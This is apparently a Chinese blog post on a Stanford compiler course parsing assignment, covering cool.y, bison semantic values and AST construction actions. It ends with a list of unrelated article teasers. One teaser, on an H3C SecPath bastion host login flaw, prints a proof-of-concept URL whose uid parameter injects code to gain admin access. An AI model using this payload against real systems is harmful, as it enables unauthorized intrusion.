Standford Compiler Course Assignment 2
第二部分的作业是语法分析,通过编写cool.y(这个assignment的任务),利用bison将其自动生成语法分析LALR(1)的代码。
语法分析,就是将词法分析阶段已经识别好的token,按照语法的规则,构建抽象语法树的过程。
比如以下的代码:
x = (a + b) * (c - d);
可以构成下图的抽象语法树:
=/ \x */ \+ -/ \ / \a b c d
具体在cool.y 中,

这部分定义了非终结符non-terminal对应的semantic value. Union中的每一个field都可以是parsing动作的结果。
在stanford compiler的教学语言cool中,这就对应了AST的一个node。每一个non-terminal,都有其对应的semantic value。
左侧的各种类型在cool-tree.aps中都有对应定义,比如Features:

Feature即为class中的成员函数或者成员变量。因为可以有多个Feature,所以存在Features,即LIST[Feature].
下面则具体定义了所有的非终结符对应的AST节点类型。<>内部的,比如classes是在union中定义的value,而右侧的,比如class_list,我们需要定义规约该非终结符时,需要进行的操作。


上图中$$即为action的返回值,对应该抽象语法树AST对应的node。
具体看识别类的声明,class的规则:
1) CLASS TYPEID ‘{’ feature_list ‘}’ ‘;’
其动作:$$ = class_($2, idtable.add_string(“Object”), $4, stringtable.add_string(curr_filename))
对应cool-tree.aps中的:

传给class_的参数即为1)类名称,2)父类名称 3)成员变量/成员函数 4)文件名
起对应的位置如类名称即为 TYPEID,对应$2, feature_list对应$4,因此其动作action写成了如上图所示的样子。
2) CLASS TYPEID INHERITS TYPEID ‘{’ feature_list ‘}’ ‘;’
这里唯一不同的即为该类继承自父类,因此其第2个参数,父类名称传入了$4。具体的序号可以参考第205行的注释。

相关文章:
Standford Compiler Course Assignment 2
第二部分的作业是语法分析,通过编写cool.y(这个assignment的任务),利用bison将其自动生成语法分析LALR(1)的代码。 语法分析,就是将词法分析阶段已经识别好的token,按照语法的规则,构建抽象语法树的过程。 比如以下的…...
基于Java的校园论坛管理系统设计与实现(源码+lw+部署文档+讲解等)
文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序(小蔡coding) 代码参考数据库参考源码获取 前言 💗博主介绍:✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…...
谈谈你对Spring的理解
谈谈你对Spring的理解 一,什么是Spring 1.介绍 Spring是一个用于开发Java应用程序的工具集合,它提供了许多方便的组件和工具,可以帮助开发者更轻松地构建企业级应用程序。 Spring Framework是Spring的核心部分,它可以帮助开发者…...
系统架构师考试易混淆知识点总结
易混淆点1:系统工程生命周期与信息系统的生命周期 1、系统工程生命周期阶段 探索性研究→概念阶段→开发阶段→生产阶段→使用阶段→保障阶段→退役阶段 2、信息系统的生命周期 产生阶段→开发阶段(单个系统开发:总体规划、系统分析、系统设计、系统实施、系统验收…...
反射的作用( 越过泛型检查 和 可以使用反射保存所有对象的具体信息 )
1、绕过 编译阶段 为集合添加数据 反射是作用在运行时的技术,此时集合的泛型将不能产生约束了,此时是可以 为集合存入其他任意类型的元素的 。泛型只是在编译阶段可以约束集合只能操作某种数据类型,在 编译成Class文件进入 运行阶段 的时候&a…...
前端开发实践:vue中用qrcode库将超链接生成二维码图片
🏆作者简介,黑夜开发者,CSDN领军人物,全栈领域优质创作者✌,阿里云社区专家博主,2023年6月csdn上海赛道top4。 🏆数年电商行业从业经验,历任核心研发工程师,项目技术负责…...
数据库连接池有什么用?它有哪些关键参数?
首先,数据库连接池是一种池化技术,池化技术的核心思想是实现资源的复用,避免资源重复创建销毁的开销。而在数据库的应用场景里面,应用程序每次向数据库发起 CRUD 操作的时候,都需要创建连接.在数据库访问量较大的情况下…...
Android Settings解析
Android Settings 系列文章: Android Settings解析SettingsIntelligenceSettingsProvider 首语 Android设置应用是Android系统中一个非常重要的系统应用,它允许用户调整和设置系统的各种参数和功能(系统设置/自定义设置/控制应用权限/开发…...
Spring+spring mvc+mybatis整合的框架
Spring是一个轻量级的企业级应用开发框架,于2004年由Rod Johnson发布了1.0版本,经过多年的更新迭代,已经逐渐成为Java开源世界的第一框架,Spring框架号称Java EE应用的一站式解决方案,与各个优秀的MVC框架如SpringMVC、…...
02-2、PyCharm中文乱码的三处解决方法
PyCharm中文乱码 修改处1: 修改处2:这个也没用 在Pycharm中可以创建一个模版,每次新建python文件时Pycharm会默认在前两行生成utf-8 #!/user/bin/env python3 # -- coding: utf-8 -- 还是乱码 再在这里设置以下 添加 : -Dfi…...
Axi接口的DDR3:参数,时序,握手机制
参考 AXI总线的Burst Type以及地址计算 | WRAP到底是怎么一回事?_axi wrap-CSDN博客 还有官方手册,名字太长想起来再写。 Transaction/Burst/Transfer/Beat Transaction指一次传输事务,实际上包括了address phase, data phase与response ph…...
浏览器标签上添加icon图标;html引用ico文件
实例 <link rel"shortcut icon" href"./XXX.ico" type"image/x-icon">页面和图标在同一目录内 则 <link rel"shortcut icon" type"text/css" href"study.ico"/>可以阿里矢量图库关键字搜索下载自己…...
深入解析i++和++i的区别及性能影响
在我们编写代码时,经常需要对变量进行自增操作。这种情况下,我们通常会用到两种常见的操作符:i和i。最近在阅读博客时,我偶然看到了有关i和i性能的讨论。之前我一直在使用它们,但从未从性能的角度考虑过,这…...
2023年中国酒类新零售行业发展概况分析:线上线下渠道趋向深度融合[图]
近年来,我国新零售业态不断发展,线上便捷性和个性化推荐的优势逐步在放大,线下渠道智慧化水平持续提升,线上线下渠道趋向深度融合。2022年,我国酒类新零售市场规模约为1516亿元,预计2025年酒类新零售市场规…...
交通 | 实现可泛化性:机器学习求解VRP
推文作者:缪昌昊,张景琪,张云天 论文作者:Jieyi Bi, Yining Ma, Jiahai Wang, Zhiguang Cao, Jinbiao Chen, Yuan Sun, and Yeow Meng Chee 论文原文:Bi, Jieyi, et al. “Learning generalizable models for veh…...
php使用sqlServer
sqlServer扩展 PDO_MSSQL|sqlsrv|odbc}mssql|pdo_odbc PHP 安装php_sqlsrv php_pdo_sqlsrv https://pecl.php.net/package/sqlsrv/5.8.1/windows PECL :: Package :: pdo_sqlsrv 5.8.1 for Windows SqlServer驱动:msodbcsql...
H3C SecParh堡垒机 get_detail_view.php 任意用户登录漏洞
与齐治堡垒机出现的漏洞不能说毫不相关,只能说一模一样 POC验证的url为: /audit/gui_detail_view.php?token1&id%5C&uid%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&loginadmin成功获取admin权限 文笔生疏…...
python爬虫涨姿势板块
Python有许多用于网络爬虫和数据采集的库和框架。这些库和框架使爬取网页内容、抓取数据、进行数据清洗和分析等任务变得更加容易。以下是一些常见的Python爬虫库和框架: Beautiful Soup: Beautiful Soup是一个HTML和XML解析库,用于从网页中提取数据。它…...
软件设计原则-里氏替换原则讲解以及代码示例
里氏替换原则 一,介绍 1.前言 里氏替换原则(Liskov Substitution Principle,LSP)是面向对象设计中的一条重要原则,它由Barbara Liskov在1987年提出。 里氏替换原则的核心思想是:父类的对象可以被子类的…...
Sui提供dApp Kit 助力快速构建React Apps和dApps
近日,Mysten Labs推出了dApp Kit,这是一个全新的解决方案,可用于在Sui上开发React应用程序和去中心化应用程序(dApps)。mysten/dapp-kit是专门为React定制的全新SDK,旨在简化诸如连接钱包、签署交易和从RPC…...
保姆级教程:用Vivado MIG IP核搞定DDR3读写仿真(附AXI4波形分析)
从零掌握Vivado MIG IP核:DDR3读写仿真与AXI4协议深度解析 刚接触Xilinx FPGA的工程师第一次打开MIG IP核配置界面时,往往会被密密麻麻的参数选项吓到——时钟设置、AXI接口、地址映射、时序约束,每个环节都可能成为项目推进的拦路虎。本文将…...
安卓开发者必看:解决Google Play服务报错的5种实战方法(附工具推荐)
安卓开发者必看:解决Google Play服务报错的5种实战方法(附工具推荐) 在安卓应用开发过程中,Google Play服务(Google Play Services)的集成几乎是不可避免的——无论是地图服务、支付功能,还是推…...
DeepSeek-OCR-2功能体验:双列可视化界面,左传图右看结果,操作直观
DeepSeek-OCR-2功能体验:双列可视化界面,左传图右看结果,操作直观 1. 为什么这个OCR工具值得一试 如果你经常需要处理扫描文档、PDF文件或者图片中的文字,传统OCR工具可能让你又爱又恨。它们确实能提取文字,但遇到复…...
从测试到ISP调试:一名Camera Tuning工程师的四年转型与面试通关实录
1. 从测试到ISP调试:我的四年转型之路 四年前刚毕业时,我加入上海一家网络摄像头方案公司,最初做的是最基础的测试工作。每天重复着枯燥的测试用例执行、bug记录和报告撰写,一度怀疑自己是不是选错了职业方向。转折点出现在工作两…...
Qwen3.5-9B图文理解效果展示:JPEG/PNG上传问答真实作品
Qwen3.5-9B图文理解效果展示:JPEG/PNG上传问答真实作品 1. 惊艳的多模态理解能力 Qwen3.5-9B作为一款90亿参数的开源大语言模型,在多模态理解方面展现出了令人印象深刻的能力。特别是其变体Qwen3.5-9B-VL,能够同时处理文本和图像输入&#…...
内页SEO优化与网站整体优化的关系是什么_网站内页的图片优化需要注意哪些
内页SEO优化与网站整体优化的关系是什么 在当前竞争激烈的互联网环境中,网站的整体优化和内页SEO优化密不可分。内页SEO优化是提升网站整体排名的关键环节,而网站整体优化则为内页SEO提供了坚实的基础。这两者之间的关系可以从多个方面进行探讨…...
基于N2N实现Windows异地局域网联机:从公网服务器搭建到游戏联机实战
1. 为什么需要异地局域网联机? 和朋友联机打游戏是很多玩家的刚需,尤其是《文明6》《我的世界》这类支持局域网联机的游戏。但传统局域网联机有个致命限制——所有玩家必须处在同一个物理网络环境下。这就导致异地好友想联机时,要么忍受官方…...
AI辅助开发:构思并实现智能交互式谷歌账号注册学习助手
AI辅助开发:构思并实现智能交互式谷歌账号注册学习助手 最近在做一个谷歌账号注册教程项目时,发现传统的图文教程存在几个痛点:用户容易迷失在步骤中、遇到错误时不知道如何解决、非英语用户理解困难。正好接触到InsCode(快马)平台的AI辅助开…...
CCleaner Business 杀毒软件/电脑清理软件 下载安装
链接: https://pan.baidu.com/s/1KPHdTrkV5ElociuavFFrEA 提取码: j9c9此软件为免费开源软件,请勿利用于商业领域!!!...
让 AI Agent “睡觉”整理记忆(非常详细),OpenClaw Auto-Dream 实战从入门到精通,收藏这一篇就够了!
你有没有遇到过这样的情况:辛辛苦苦教会了 AI Agent 你的工作习惯和项目背景,关掉窗口、重启会话后,它又变回了一张白纸?这是当前所有基于 LLM(大语言模型)的 Agent 面临的核心痛点——“聊完就忘”。2026 …...
